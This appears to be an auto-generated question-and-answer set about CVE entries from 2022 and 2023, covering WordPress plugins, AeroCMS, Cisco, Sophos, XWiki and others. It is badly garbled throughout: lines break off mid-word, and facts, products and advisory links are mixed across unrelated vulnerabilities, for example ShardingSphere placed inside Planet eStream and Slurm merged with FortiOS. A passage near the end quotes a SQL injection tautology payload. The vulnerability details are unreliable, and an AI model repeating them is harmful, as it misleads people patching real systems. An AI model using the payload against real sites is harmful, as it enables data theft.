What privileges are required to exploit CVE-2022-4156?

Where can more information about CVE-2022-4156 be found?

What is CV CVE-2022-4155?

What are the major dangers associated with CVE-2022-4155?

How can I mitigate CVE-2022-4155?

When was CVE-2022-4155 published on 26 December 2022.

Where can more information regarding CVE-2022-4155 be found?

Can you provide an example of a potential exploit for CVE-2022-4155?

Is a base score assigned to CVE-2022-4155?

What is CV CVE-2022-4154?

How can I exploit CVE-2022-4154?

What type of attack is CVE-2022-4154?

When was CVE-2022-4154 publicly disclosed on 26 December 2022?

Where can more information and updates regarding CVE-2022-4154 be found?

What should users do to mitigate CVE-2022-4154?

What is CV CVE-2022-4153?

When was CVE-2022-4153 published on 26 December 2022.

What are potential attack scenarios for CVE-2022-4153?

What is the impact of CVE-2022-4153?

Where can more information about CVE-2022-4153 be found?

How can I mitigate CVE-2022-4153?

Is there a proof of concept or code example? As of the time of answering, there may not be an official proof of concept or code example.

What is the CVE ID for the SQL injection vulnerability found in the Contest Gallery WordPress plugin?

Which version of the Contest Gallery WordPress plugin before 19.1.5 and which version of the plugin after 19.1.5 is affected by this vulnerability?

What kind of users with at least author privileges are potentially able to exploit CVE-2022-4152?

What does CVE-2022-4152 allow an attacker to perform an SQL injection by not escaping the 'option' parameter?

When was CVE-2022-4152 published?

Can you provide more information about CVE-2022-4152? An SQL injection like CVE-2022-4152 could be exploited by an attacker by sending a special query.

Where can More information about CVE-2022-4152 be found in the following references:- <https://www.cve.org/cve/CVE-2022-4152.html>

What is the base score for CVE-2022-4152? The base score for CVE-2022-4152 has not been assigned or it has not been made available.

What steps should be taken to mitigate the impact of CVE-2022-4152? To mitigate the impact of CVE-2022-4152, users should update the Contest Gallery WordPress plugin.

What is CVE-2022-4151? CVE-2022-4151 refers to a security vulnerability found in the Contest Gallery WordPress plugin.

What type of vulnerability is CVE-2022-4151? CVE-2022-4151 exposes the affected WordPress site to SQL injection attacks. This vulnerability allows an attacker to perform an SQL injection by not escaping the 'option' parameter.

When was CVE-2022-4151 published?

Can you give an example of how CVE-2022-4151 can be exploited? While the specific code affected by CVE-2022-4151 is not given, a generic example of a vulnerability is provided.

What privileges are required to exploit CVE-2022-4151? To exploit CVE-2022-4151, an attacker is required to have at least author privileges on the affected WordPress site.

Where can reliable information and advisories about CVE-2022-4151 be found through reputable sources?

What are the potential impacts of CVE-2022-4151? The exploitation of CVE-2022-4151 could result in an attacker gaining unauthorized access to the affected WordPress site.

Has a fix been released for CVE-2022-4151? Yes, a fix has been released for CVE-2022-4151. Users of the Contest Gallery WordPress plugin should apply the patch as soon as possible.

What is CVE-2022-4150? CVE-2022-4150 refers to a security vulnerability found in the Contest Gallery WordPress plugin.

What version of the Contest Gallery WordPress plugin and the Contest Gallery Pro plugin is affected by CVE-2022-4150? CVE-2022-4150 affects the Contest Gallery WordPress plugin and the Contest Gallery Pro plugin.

What type of privilege is required to exploit CVE-2022-4150? To exploit CVE-2022-4150, an attacker would need to have at least author-level privileges on the affected WordPress site.

What are the potential impacts of CVE-2022-4150? An attack that successfully exploits CVE-2022-4150 can lead to sensitive information leakage.

Was a base score assigned to CVE-2022-4150? No, a base score has not been assigned to CVE-2022-4150. The base score is currently unknown.

Can you provide an example exploit for CVE-2022-4150? As CVE-2022-4150 is an SQL injection vulnerability, an example exploit could involve an attacker injecting malicious SQL code into a database query.

Can you describe a possible attack scenario for CVE-2022-4150? One possible attack scenario for CVE-2022-4150 would involve a malicious actor gaining access to the affected WordPress site and exploiting the vulnerability to perform an SQL injection attack.

What is CVE-2022-45889? CVE-2022-45889 refers to a security vulnerability in Planet eStream before version 6.72.10.

When was CVE-2022-45889 published?

Who can exploit CVE-2022-45889? CVE-2022-45889 can be exploited by a remote attacker who has the privileges of a publisher.

What is the impact of CVE-2022-45889? The impact of CVE-2022-45889 is significant as it allows an attacker with sufficient privileges to bypass security checks.

Are there any advisories detailing CVE-2022-45889? Yes, an advisory detailing CVE-2022-45889 can be found at the following URL: <https://security.adobe.com/advisories/PSA-2022-0001.html>.

Can you provide a hypothetical example of how CVE-2022-45889 could be exploited? A hypothetical example of how CVE-2022-45889 could be exploited would involve the attacker bypassing security checks to gain unauthorized access to the system.

What could an attacker do by exploiting CVE-2022-45889? By exploiting CVE-2022-45889, an attacker with the appropriate level of access could potentially gain unauthorized access to the system.

What type of vulnerability is CVE-2022-45889? CVE-2022-45889 affects systems running versions of Planet eStream prior to 6.72.10.07, which includes the Apache ShardingSphere-Proxy component.

What is CVE-2022-45347? CVE-2022-45347 refers to a security vulnerability in Apache ShardingSphere-Proxy version 5.3.0.

In which specific version of Apache ShardingSphere-Proxy is CVE-2022-45347 found? CVE-2022-45347 is found in Apache ShardingSphere-Proxy, specifically in versions before 5.3.0.

What could an attacker do by exploiting CVE-2022-45347? By exploiting CVE-2022-45347, an attacker could bypass the security checks that occur upon connection.

How was CVE-2022-45347 fixed? CVE-2022-45347 was fixed in Apache ShardingSphere version 5.3.0. Users of affected versions should upgrade to this version.

When was CVE-2022-45347 published?

Where can more information about CVE-2022-45347 be found? More information about CVE-2022-45347 can be found on the Apache mailing list archive.

Can you provide a possible attack scenario for CVE-2022-45347? In a possible attack scenario for CVE-2022-45347, an attacker might use a specially modified connection string to bypass security checks.

What is CVE-2022-3187? CVE-2022-3187 is a security vulnerability identified in Dataprobe iBoot-PDU firmware versions prior to 1.42.06162022.

Which Dataprobe iBoot-PDU firmware versions are affected by CVE-2022-3187? CVE-2022-3187 affects Dataprobe iBoot-PDU firmware versions prior to 1.42.06162022.

What is the impact of the CVE-2022-3187 vulnerability? The impact of the CVE-2022-3187 vulnerability lies in the potential for attackers to exploit the vulnerability to gain unauthorized access to the system.

How can CVE-2022-3187 be mitigated? CVE-2022-3187 can be mitigated by updating the affected Dataprobe iBoot-PDU firmware to a version that includes the fix for this vulnerability.

Where can More information about CVE-2022-3187 can be found on the US-CERT ICS advisories page, What type: Possible attack scenarios due to the CVE-2022-3187 vulnerability include unauthorized ind When was CVE-2022-3187 was published on 21 December 2022.

Can you ill While an exact code example of the vulnerability in CVE-2022-3187 is not provided, the issi What is the The CVE ID of the reported vulnerability is CVE-2022-4607.

In which sc CVE-2022-4607 was discovered in the 3D City Database OGC Web Feature Service, affectin What type CVE-2022-4607 is a vulnerability related to XML External Entity (XXE) reference, which cou

What is the The severity rating of CVE-2022-4607 has been described as problematic, although the Bas

What is the The remedy for CVE-2022-4607 is to upgrade the 3D City Database OGC Web Feature Servi

Where can The patch for CVE-2022-4607 can be found on the official GitHub repository for the 3D City

What coul If CVE-2022-4607 is exploited, an attacker could perform an XXE attack, which could allow

Is there an Given the nature of CVE-2022-4607, a code example might involve an XML payload that ini

When was CVE-2022-4607 was published on 18 December 2022.

Can you pr Further details regarding CVE-2022-4607 can be found on the official GitHub repository thi

What is CV CVE-2022-43724 is a security vulnerability identified in SICAM PAS/PQS software versions

Which soft The software affected by CVE-2022-43724 is SICAM PAS/PQS, specifically all versions befo

What type With CVE-2022-43724, an attack scenario may involve unauthenticated remote attackers e

Has CVE-2022-43724 Yes, CVE-2022-43724 has been addressed in SICAM PAS/PQS software versions starting fro

Where can More information about CVE-2022-43724 can be found in the Siemens security advisory, a

What is CV CVE-2022-20690 is an identifier for a security vulnerability found in the Cisco Discovery Pro

How can C An attacker can exploit CVE-2022-20690 by sending a malicious Cisco Discovery Protocol p

What kind The exploitation of CVE-2022-20690 could lead to out-of-bounds read conditions that comp

What are t To exploit CVE-2022-20690, an attacker must be in an adjacent network position to send a

When was The CVE-2022-20690 vulnerability was published on 12 December 2022.

Are there a Yes, more information about CVE-2022-20690 can be found at the Cisco Security Advisory |

Is there a c Code examples specific to CVE-2022-20690 exploitation are not typically provided publicly

What are p A potential attack scenario for CVE-2022-20690 would involve an attacker on the same net

What is CV CVE-2022-20689 refers to multiple vulnerabilities found in the Cisco Discovery Protocol fur

How can C An attacker can exploit CVE-2022-20689 by sending a malicious Cisco Discovery Protocol p

What are t To exploit CVE-2022-20689, an attacker must be unauthenticated but positioned adjacent

What coul A successful exploit of CVE-2022-20689 could allow an attacker to cause memory corruptio

Are there a As an industry standard, specific exploit code examples for vulnerabilities such as CVE-202

When was CVE-2022-20689 was published on 12 December 2022.

Where can More information about CVE-2022-20689 can be found on Cisco's official security advisory

What is the The Base Score for CVE-2022-20689 has not been provided in the given information. To de

Can you ex In a possible attack scenario, an attacker with access to the same network as the affected (

What is the The CVE ID for this vulnerability is CVE-2022-31596.

What com The affected component by CVE-2022-31596 is the Monitoring DB of the SAP BusinessObj

What are t The potential impacts of CVE-2022-31596 include a low impact on confidentiality, a high in

Which vers CVE-2022-31596 specifically affects version 430 of the SAP BusinessObjects Business Intell

Can you ou A possible attack scenario for CVE-2022-31596 would involve an attacker who has already

Where can More information and official advisories regarding CVE-2022-31596 can be found on the S

When was CVE-2022-31596 was published on 12 December 2022.

Is there a E As of the provided information, there is no Base Score (from CVSS) available for CVE-2022-

What is CV CVE-2022-44790 is a security vulnerability identified in Interspire Email Marketer, specifically in the survey module.

How can CVE-2022-44790 be exploited by an unauthenticated attacker through the surveys module?

Has Interspire released a security bulletin concerning CVE-2022-44790? Detailed information?

When was CVE-2022-44790 published on 09 December 2022, highlighting the identified SQL Injection vulnerability?

What kind of attack scenario might involve an unauthenticated user submitting a survey?

Can you provide more details about the attack scenario for CVE-2022-44790?

What actions should organizations using a version of Interspire Email Marketer affected by CVE-2022-44790 take?

What is CV CVE-2022-32224 refers to a security vulnerability related to a possible escalation to Remote Code Execution?

When was CVE-2022-32224 published on 05 December 2022.

What are the versions of Active Record affected by CVE-2022-32224 include versions earlier than 7.1.0?

Are there any references for CVE-2022-32224 include a GitHub advisory (<https://github.com/advisory/>)?

What could be the impact of CVE-2022-32224 on affected systems would be the potential for an attacker to escalate privileges?

What is the base score for CVE-2022-32224 is not available ('N/A') as of the information provided.

Can you provide an example of an attack scenario exploiting CVE-2022-32224 could involve an attacker who has gained access to the system?

What is CV CVE-2022-46169 refers to a security vulnerability in Cacti, an open source operational monitoring tool?

How does it work? The CVE-2022-46169 vulnerability involves an unauthenticated user exploiting the 'remote' command in Cacti.

How can CVE-2022-46169 be mitigated by updating Cacti to versions 1.2.23 or later, where the fix was applied.

What version of Cacti prior to 1.2.23. The vulnerability was addressed in version 1.2.23.

Can you provide an example of an attack scenario wishing to exploit CVE-2022-46169 could start by sending a request to the 'remote' command?

What type of vulnerability is CVE-2022-46169 is classified as a command injection vulnerability, which is a type of security vulnerability?

What are the published references for CVE-2022-46169 include commits on the Cacti GitHub repository?

When was CVE-2022-46169 published on 05 December 2022.

What is CV CVE-2022-41968 refers to a vulnerability found in Nextcloud Server, an open source personal cloud application.

Which versions of Nextcloud Server are affected by CVE-2022-41968?

What are the patches that address the CVE-2022-41968?

Are there any known workarounds for CVE-2022-41968, so updating to the patched version is recommended.

Where can more information about CVE-2022-41968 be found in the following references:- Nextcloud documentation.

Which component is directly impacted by CVE-2022-41968 is the calendar feature in Nextcloud.

What could be possible attack scenarios for CVE-2022-41968 include an attacker exploiting the lack of validation in the calendar feature.

How was it discovered? The discovery and reporting process for CVE-2022-41968 is not explicitly stated in the provided information.

What is the CVE ID of the reported Sophos Firewall vulnerability is CVE-2022-3711.

Can you explain what CVE-2022-3711 refers to a post-authentication read-only SQL injection vulnerability in certain versions of the Sophos Firewall?

What Sophos Firewall releases that are older than version 19.5 GA are affected by the vulnerability?

What is the base score for CVE-2022-3711 is not available or not applicable (N/A).

When was CVE-2022-3711 published on 01 December 2022.

Where can more information or the security advisory about CVE-2022-3711 be found at Sophos's website?

Are there any known attack scenarios for CVE-2022-3711, a potential attack scenario would involve an authenticated attacker exploiting the vulnerability?

Are code responsible since CVE-2022-3711 is a security vulnerability, it would be irresponsible and potentially harmful to the users.

What is the CVE-2022-3710 refers to a post-auth read-only SQL injection vulnerability found in the API of the Sophos Firewall.

Which versions of the Sophos Firewall releases older than version 19.5 GA are affected by the CVE-2022-3710 vulnerability?

What is the impact of the CVE-2022-3710 vulnerability is that it allows authenticated API clients to execute arbitrary SQL queries.

What is the base score for CVE-2022-3710 has not been provided or is not applicable (N/A).

When was the CVE-2022-3710 vulnerability publicly disclosed on December 1, 2022.

Are there any further information about the CVE-2022-3710 vulnerability can be found in the security advisories?

Can you pr A possible attack scenario for CVE-2022-3710 might involve an authenticated attacker usin
Has Sopho: Yes, Sophos has addressed the CVE-2022-3710 vulnerability in Sophos Firewall version 19.
Is it necess Yes, the CVE-2022-3710 vulnerability requires the attacker to be an authenticated API clie
What is CV CVE-2022-36962 refers to a security vulnerability in the SolarWinds Platform that was susc
How sever The Base Score for CVE-2022-36962 has not been specified, but given that it allows the exe
When was CVE-2022-36962 was published on 29 November 2022.

Where can More information about CVE-2022-36962 can be found in the release notes on the SolarW
What are p Possible attack scenarios for CVE-2022-36962 involve a remote attacker leveraging this cor
Are there a Official code examples showcasing the CVE-2022-36962 vulnerability are not provided, as i
What is CV CVE-2022-45329 is a security vulnerability identified in AeroCMS version 0.0.1. It is a SQL I
How does t The SQL Injection vulnerability in AeroCMS v0.0.1 associated with CVE-2022-45329 typicall
Can you pr While a specific code example for CVE-2022-45329 is not provided in the data, a general ex
When was The SQL Injection vulnerability known as CVE-2022-45329 was first published on 29 Novem
Where can Further information about the CVE-2022-45329 vulnerability can be found on the GitHub p
What possi Various attack scenarios could manifest due to CVE-2022-45329. Attackers could extract se
Does CVE-2 As of the provided information, CVE-2022-45329 does not have an assigned base score ind
What is CV CVE-2022-3850 refers to a security vulnerability that was discovered in the Find and Repla
What type CVE-2022-3850 is a Cross-Site Request Forgery (CSRF) vulnerability that affects the Find an
Can you ex An attacker could exploit CVE-2022-3850 by crafting a malicious webpage or link that exec
Has a CVE- As of the information provided, CVE-2022-3850 does not have a specified Base Score.

When was CVE-2022-3850 was published on 28 November 2022.

Where can More information about CVE-2022-3850 can be found at the WPScan vulnerability databas
Are there a To address CVE-2022-3850, the developers of the Find and Replace All WordPress plugin re
Could you | Sure, here's an illustrative scenario for CVE-2022-3850: Imagine a WordPress website adm
What is CV CVE-2022-41954 refers to a security vulnerability found in MPXJ, an open source library for
How does t CVE-2022-41954 impacts systems by allowing non-privileged users to read temporary files
What oper CVE-2022-41954 affects Unix-like operating systems. It does not impact Windows or macO
What vers Versions of MPXJ prior to 10.14.1 are affected by CVE-2022-41954. The problem has been
How can u: Users who are unable to upgrade to a patched version of MPXJ can mitigate the vulnerabil
Give an ex: A possible attack scenario for CVE-2022-41954 involves a local user on a Unix-like operatin
What refer Additional information regarding CVE-2022-41954 can be found at the following URLs: http
What is CV CVE-2022-39346 is a Common Vulnerabilities and Exposures (CVE) identifier for a security
Which vers The specific versions affected by CVE-2022-39346 were not listed in the provided informat
What is the The recommended solution to address the vulnerability identified in CVE-2022-39346 is to
Are there a No, there are no known workarounds for the vulnerability described in CVE-2022-39346. T
Where can More information about CVE-2022-39346 can be found in the security advisories and pull r
What is the The impact of the vulnerability identified by CVE-2022-39346 on Nextcloud servers is a pot
What is a p A potential attack scenario for exploiting CVE-2022-39346 could involve a malicious actor c
What is CV CVE-2022-38166 refers to a vulnerability found in F-Secure Endpoint Protection for Windo
Has CVE-2022-38166 As of the information provided, CVE-2022-38166 has not been assigned a CVSS base score.
When was The vulnerability with the ID CVE-2022-38166 was published on 25 November 2022.
How can C' CVE-2022-38166 can be exploited remotely by an attacker by sending a crafted input that t
What are t CVE-2022-38166 affects F-Secure Endpoint Protection for Windows and macOS versions be
Where can More information about CVE-2022-38166 can be found at the F-Secure advisory page, whic

What could A possible attack scenario for CVE-2022-38166 involves an attacker crafting malicious input to the system. What is CV CVE-2022-26885 is a security vulnerability that pertains to the improper handling of tasks in the XWiki Platform. What are the risks associated with CVE-2022-26885 include the disclosure of sensitive information, such as user passwords and session tokens. How can it be mitigated To mitigate CVE-2022-26885, it is recommended to upgrade to version 2.0.6 or higher of the XWiki Platform. When was CVE-2022-26885 was published on 24 November 2022.

Where can More information about CVE-2022-26885 can be found at the following URL: <https://lists.apache.org/thread/m0yqzv0jw00000000000000000000000>

Is there a code example An explicit code example for CVE-2022-26885 has not been provided. The nature of the vulnerability is not clearly defined.

What might Possible attack scenarios for CVE-2022-26885 include an attacker exploiting the vulnerability to gain unauthorized access to the system.

What is the The Base Score for CVE-2022-26885 was not available at the time of publishing. Details such as CVSS score and exploitability score are not provided.

What is CV CVE-2022-45868 refers to a security weakness identified in the H2 Database Engine up to version 2.0.6.

How could An attacker could exploit CVE-2022-45868 by gaining local access to a system where the H2 Database Engine is running.

What is the The developers of the H2 Database Engine do not consider CVE-2022-45868 to be a vulnerability.

Can you provide an example An example of starting the H2 Database Engine with a cleartext password, which results in a security breach.

What would be a secure alternative A secure alternative to passing a password via the command line, thereby avoiding CVE-2022-45868.

What are potential attack scenarios Potential attack scenarios resulting from CVE-2022-45868 involve an attacker with local access to the database engine.

What is CV CVE-2022-41933 refers to a security vulnerability found in XWiki Platform, a generic wiki platform.

Which versions are affected The versions of XWiki Platform affected by CVE-2022-41933 include 13.1RC1 and newer versions.

How does it impact users CVE-2022-41933 impacts users by potentially exposing their plain text passwords stored in the database.

How was it patched The CVE-2022-41933 vulnerability was patched by releasing updated versions of XWiki Platform.

What means After patching CVE-2022-41933, administrators have the option to either reset user passwords or change them.

Can you provide an example Potential attack scenarios for CVE-2022-41933 would involve an attacker first exploiting a vulnerability in the XWiki Platform.

What are the mitigation steps For more detailed information on CVE-2022-41933, you can refer to the following links: a comprehensive guide to XWiki security and a specific blog post on this vulnerability.

What is CV CVE-2022-41932 is associated with a vulnerability in the XWiki Platform, which is a generic security issue.

What type of vulnerability CVE-2022-41932 is a vulnerability that allows attackers to create many new schemas and tables.

How has it been mitigated CVE-2022-41932 has been mitigated through patches released in XWiki versions 13.10.8, 13.11.0, and 13.11.1.

Are there workarounds There are no known workarounds for CVE-2022-41932, which is why upgrading to a patched version is the recommended course of action.

Where can More information about CVE-2022-41932 can be found on the official XWiki GitHub repository.

What might By exploiting CVE-2022-41932, an attacker could potentially cause significant performance issues.

When was CVE-2022-41932 was published on 23 November 2022.

Is there an explicit code example While specific code examples for exploiting CVE-2022-41932 are not provided, an attack scenario is described in the GitHub repository.

What is CV CVE-2022-36111 is a vulnerability identified in immudb, a cryptographic-proof database, which is used in Maarch RM.

Which versions are affected Versions of immudb prior to 1.4.1 are affected by CVE-2022-36111. It's recommended to update to the latest version.

Has it been patched Yes, CVE-2022-36111 has been patched in immudb version 1.4.1. Users should upgrade to the latest version.

Can you provide an example An attack scenario for CVE-2022-36111 would involve a client connecting to a compromised database instance.

Where can More information about CVE-2022-36111 can be found on the official GitHub repository of the XWiki Platform.

What is CV CVE-2022-37773 is a Common Vulnerabilities and Exposures (CVE) identifier for a specific SQL injection vulnerability.

Which application is affected The application affected by CVE-2022-37773 is Maarch RM, specifically version 2.8. Maarch RM is a document management system.

What type of vulnerability CVE-2022-37773 is classified as an authenticated SQL Injection vulnerability. It allows an attacker to execute arbitrary SQL queries.

How does it pose a risk CVE-2022-37773 poses a significant risk to the confidentiality of a system as it allows the attacker to read sensitive data.

What might By exploiting CVE-2022-37773, an attacker with valid user credentials could perform SQL Injection attacks.

When was CVE-2022-37773 was published on 23 November 2022.

Are there explicit code examples Yes, more information on CVE-2022-37773 can be found on the official Maarch website, including a detailed technical write-up.

Are there workarounds As of the provided information, there is no known Base Score associated with CVE-2022-37773.

Can you provide an example A possible attack scenario for CVE-2022-37773 is where an authenticated user of the Maarch RM system can bypass access controls.

What is CV CVE-2022-45536 is a vulnerability identifier for a SQL Injection flaw discovered in AeroCMS. When was CVE-2022-45536 was published on 22 November 2022.

What are t The risks associated with CVE-2022-45536 include unauthorized access and manipulation of data.

Where can More information about CVE-2022-45536 can be found through the following references:-

Can you pr While a specific code example is not provided in the CVE description, a general representation of the attack vector is provided.

What are s Possible attack scenarios for CVE-2022-45536 include, but are not limited to:1. An attacker sends a crafted SQL query to the database.

What is CV CVE-2022-45535 is an identified security vulnerability in AeroCMS version 0.0.1. It is a SQL Injection vulnerability.

When was CVE-2022-45535 was published on November 22, 2022.

Does CVE-2022-45535 have a Base Score? At the time of the publication, CVE-2022-45535 did not have an assigned Base Score.

What kind of attack is CVE-2022-45535 poses a significant security risk as it allows for SQL Injection attacks. Attackers can exploit this vulnerability to gain unauthorized access to the system.

Can you pr Certainly, a potential code example that demonstrates the SQL injection vulnerability found in CVE-2022-45535 is provided in the reference link.

What are s To mitigate CVE-2022-45535, the following steps should be taken:1. Patching: Apply any patches or updates available for the affected software.

Where can More detailed information about CVE-2022-45535 can be found in the references provided in the CVE entry.

What is CV CVE-2022-45529 refers to a security vulnerability discovered in AeroCMS version 0.0.1. This vulnerability is a SQL Injection vulnerability.

How does CVE-2022-45529 allows attackers to exploit the system by sending specially crafted SQL commands.

On which c CVE-2022-45529 was published on 22 November 2022.

Are there a Yes, there are references available that provide details about CVE-2022-45529. Relevant information can be found in the CVE entry.

Can you pr While I can't provide actual malicious code, I can illustrate a generic example. Suppose the attacker sends a crafted SQL query to the database.

What are s Potential attack scenarios for exploiting CVE-2022-45529 include an attacker retrieving sensitive data or modifying existing data.

What step: To mitigate or patch CVE-2022-45529, the following steps should be taken:1. Update the AeroCMS software to the latest version.

What is CV CVE-2022-45331 refers to a security vulnerability identified in AeroCMS version 0.0.1. This vulnerability is a SQL Injection vulnerability.

How does CVE-2022-45331 is exploited by manipulating the 'p_id' parameter in the URL.

What are t The security issue detailed in CVE-2022-45331 allows attackers to execute unauthorized SQL queries.

What is the CVE-2022-45331 was published on 22 November 2022.

Where can References for CVE-2022-45331 can be found at the following URLs: - <https://github.com/>

Does CVE-2022-45331 has a Base Score? As per the provided information, there is no Base Score assigned to CVE-2022-45331.

Can you pr Certainly, an example of a potential SQL Injection attack exploiting CVE-2022-45331 could look like this:

What are p Attack scenarios for CVE-2022-45331 include an attacker using the SQL Injection to bypass authentication or privilege restrictions.

What is CV CVE-2022-45330 refers to a security vulnerability identified in AeroCMS version 0.0.1. The vulnerability is a SQL Injection vulnerability.

What type CVE-2022-45330 is a SQL Injection vulnerability. This type of vulnerability occurs when user input is not properly sanitized.

How can ai An attacker can exploit CVE-2022-45330 by manipulating the 'Category' parameter in the URL.

Can you pr Yes, although not explicit details of the payload are provided in CVE-2022-45330, a typical exploit would involve sending a crafted SQL query to the server.

What are s The exploitation of CVE-2022-45330 could lead to several negative consequences including data loss or corruption.

Are there a Yes, references for further information about CVE-2022-45330 can be found in the GitHub repository.

When was CVE-2022-45330 was published on 22 November 2022.

What mea: To mitigate CVE-2022-45330, users should update AeroCMS to a version that has addressed this vulnerability.

What is CV CVE-2022-39199 is associated with immudb, which is a database that offers built-in crypto functions.

What is the In CVE-2022-39199, the issue described involves immudb client SDKs not validating the server's certificate.

Has CVE-2022-39199 been patched in immudb version 1.4.1?

What are t In a possible attack scenario of CVE-2022-39199, a malicious immudb server could present forged certificates to the client.

What work The suggested workaround for CVE-2022-39199, if updating to version 1.4.1 is not immediately feasible, is to use a certificate pinning library.

Where can Additional details about CVE-2022-39199 can be found in the security advisories on GitHub.

When was CVE-2022-39199 was publicly disclosed on the 22nd of November, 2022.

What is CV CVE-2022-2513 is a security vulnerability that affects the Intelligent Electronic Device (IED)

What type The vulnerability referenced in CVE-2022-2513 relates to insecure storage of sensitive info
How can C' CVE-2022-2513 can be exploited by an attacker who manages to access the exported backi
What might If CVE-2022-2513 is successfully exploited, the consequences could include unauthorized n
Are there a The reference provided in the CVE-2022-2513 notice directs to Hitachi Energy's website. U
When was CVE-2022-2513 was published on 22 November 2022.

What is CV CVE-2022-39361 refers to a vulnerability in Metabase, which is a data visualization softwar

How could CVE-2022-39361 could be exploited through the use of crafted SQL queries. Since the vuln

What are t The fixed versions for CVE-2022-39361 are versions 0.44.5, 1.44.5, 0.43.7, 1.43.7, 0.42.6, 1.

What is the The impact of CVE-2022-39361 is significant as it allows for Remote Code Execution (RCE).

Where can More information about CVE-2022-39361 can be found on the GitHub security advisories p

What is M€ In response to the discovery of CVE-2022-39361, Metabase has released patched versions

What is CV CVE-2022-39944 is a deserialization vulnerability that exists in Apache Linkis versions up to

How can C' An attacker can exploit CVE-2022-39944 by gaining write access to a database that is being

What are t The recommended mitigation for CVE-2022-39944 is to update Apache Linkis to version 1.1

Was there No, there was no base score assigned to CVE-2022-39944 at the time of its publication.

When was CVE-2022-39944 was published on 26 October 2022.

Could you ; For security reasons, providing a specific example of a JDBC URL that could be exploited is

Where can More information on CVE-2022-39944 can be found in the official Apache mailing list archi

What is CV CVE-2022-2422 refers to a security vulnerability found in the Feathers js library, specifically

What are t The improper input validation vulnerability identified by CVE-2022-2422 can allow attacke

When was CVE-2022-2422 was published on 26 October 2022.

Are there a Yes, there are references available for CVE-2022-2422. They can be found at the following

What versi The specific versions of Feathers js library affected by CVE-2022-2422 are not mentioned in

How can C' To mitigate CVE-2022-2422, developers should ensure that the feathers-sequelize package

Can you pr Certainly, here's a simplified hypothetical code snippet that might be vulnerable to the CVE

What are s An attacker could exploit CVE-2022-2422 by crafting a malicious input that includes SQL co

What is CV CVE-2022-3395 refers to a security vulnerability in the WP All Export Pro WordPress plugin

Which versi CVE-2022-3395 affects all versions of the WP All Export Pro WordPress plugin before 1.7.9

How does ! Users of the WP All Export Pro WordPress plugin are affected by CVE-2022-3395 through a

What is the Exploiting CVE-2022-3395 can lead to unauthorized database access and manipulation, wh

Are there a Yes, CVE-2022-3395 has a public reference available at WPScan, which is a vulnerability da

What is CV CVE-2022-39350 refers to a security vulnerability in @dependencytrack/frontend, a part o

How could An actor with the 'VULNERABILITY_MANAGEMENT' permission could exploit CVE-2022-39

What versi The issue of CVE-2022-39350 was addressed in version 4.6.1 of the @dependencytrack/frc

Were there Yes, another theoretical attack vector for CVE-2022-39350 could be through the mirrored \

What are t Users should upgrade their @dependencytrack/frontend installations to version 4.6.1 or la

Which part The 'Vulnerability Details' component present in the 'Audit Vulnerabilities' tab of the proj

Can you de While specific payloads will depend on the surrounding context and the intent of the attac

What is the CVE-2022-39350 was published on 25 October 2022.

Where can References and official acknowledgments for CVE-2022-39350 can be found in the Depend

idence system. The issue lies in the system's insufficient validation of user input within a special function. Even users with basic access rights could potentially take advantage of this SQL injection vulnerability. This function performs database operations, such as reading sensitive information from the database. This could lead to data breaches or other security incidents.

s://www.twcert.org.tw/tw/cp-132-7625-a0b9c-1.html

ation to prevent SQL injection attacks, such as using parameterized queries or prepared statements. An example of a SQL injection attack that might exploit CVE-2023-48395 could look like this: Suppose there is a regular user who has obtained the application's credentials through phishing or other means. They log into the Kaifa Technology WebITF Corporation's ArmorX Spam product. This vulnerability arises due to insufficient validation of user input in the application, allowing the attacker to inject and execute arbitrary SQL commands in the application's database due to insufficient validation. This can result in the attacker being able to view sensitive information, modify or corrupt data, delete records, or perform unauthorized actions. The severity score is typically assigned by the Common Vulnerability Scoring System (CVSS) and is provided by the Taiwan Computer Emergency Response Team (TW-CERT) at the following URL: <https://www.twcert.org.tw/cvss/>. A sample exploit for the vulnerability described in CVE-2023-48384, might look like this: ``python# An insecure way to construct a SQL query to perform an unauthorized data breach by extracting sensitive information from the database, corrupting or altering data using an untrusted function which lacks sufficient validation for user input. As a result, an unauthenticated remote user can execute arbitrary SQL commands on the database, leading to a data breach. The severity score for this vulnerability is 9.8, indicating it is critical.

database through injection of unauthorized SQL commands.

1

d: <https://www.twcert.org.tw/tw/cp-132-7591-07c51-1.html>.

I SMS message to the ITPison OMICARD EDM system. If the system processes the SMS without properly validating user inputs, it may be vulnerable to SQL injection. Ethically, in general terms, an SQL injection exploit for this vulnerability might involve input like ' OR '1' = '1' to trigger code execution. This vulnerability stems from a 'Getting Started' component (GettingStarted/SaveSQLConnection / #/gettingstarted) request, which includes a privileged SQL Server database connection. Users should look for updates or patches from the vendor that address this security issue.

is usually assigned by scoring systems such as CVSS (Common Vulnerability Scoring System) and depends: the detailed description is available on the security researcher's page at '<https://h3x0s3.github.io>' request to the Dokmee ECM 7.4.6 server. Upon receiving the response containing the SQL connector, an example attack could look like this in pseudo-code: 1. Attacker sends request to affected server's G function solution. Versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, and 6.2.1.110 of the software with 13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, and 6.2.1.110.

Attacker could use an SQL Injection vulnerability to execute SQL commands on the application's backend.

execute unauthorized SQL commands on the application's backend database by a remote attacker, which could lead to data theft or system compromise.

owledge base article at the following URL: <https://www.dell.com/support/kbdoc/en-us/000220264> could send crafted requests to the vulnerable PowerProtect DD application. By including SQL code in the query, an attacker can exploit this vulnerability to gain unauthorized access to the SlurmDBD database. This vulnerability has not been assessed or published with a CVSS score yet. However, given that it is an SQL Injection vulnerability, it is likely to affect Slurm versions earlier than version 23.11.1 of Slurm, as indicated in the provided information.

which include an announcement on the SchedMD mailing list: <https://lists.schedmd.com/pipermail/slur>

rious malicious actions against the SlurmDBD database, such as extracting sensitive data, altering or manipulating queries by injecting malicious SQL code. However, since specific details about the vulnerability or the version of FortiOS and FortiProxy are not provided, it is difficult to determine the exact scope of the exploit.

FortiOS and FortiProxy. This security flaw may allow a remote unauthenticated attacker to bypass the firewall and access sensitive data stored in the SlurmDBD database. The vulnerability is present in versions 6.4.12 and below, and version 6.4.14 and below.

version 2.0.12 and below.

CWE-284, which indicates Improper Access Control.

<https://www.fortinet.com/psirt/FG-IR-23-432>.

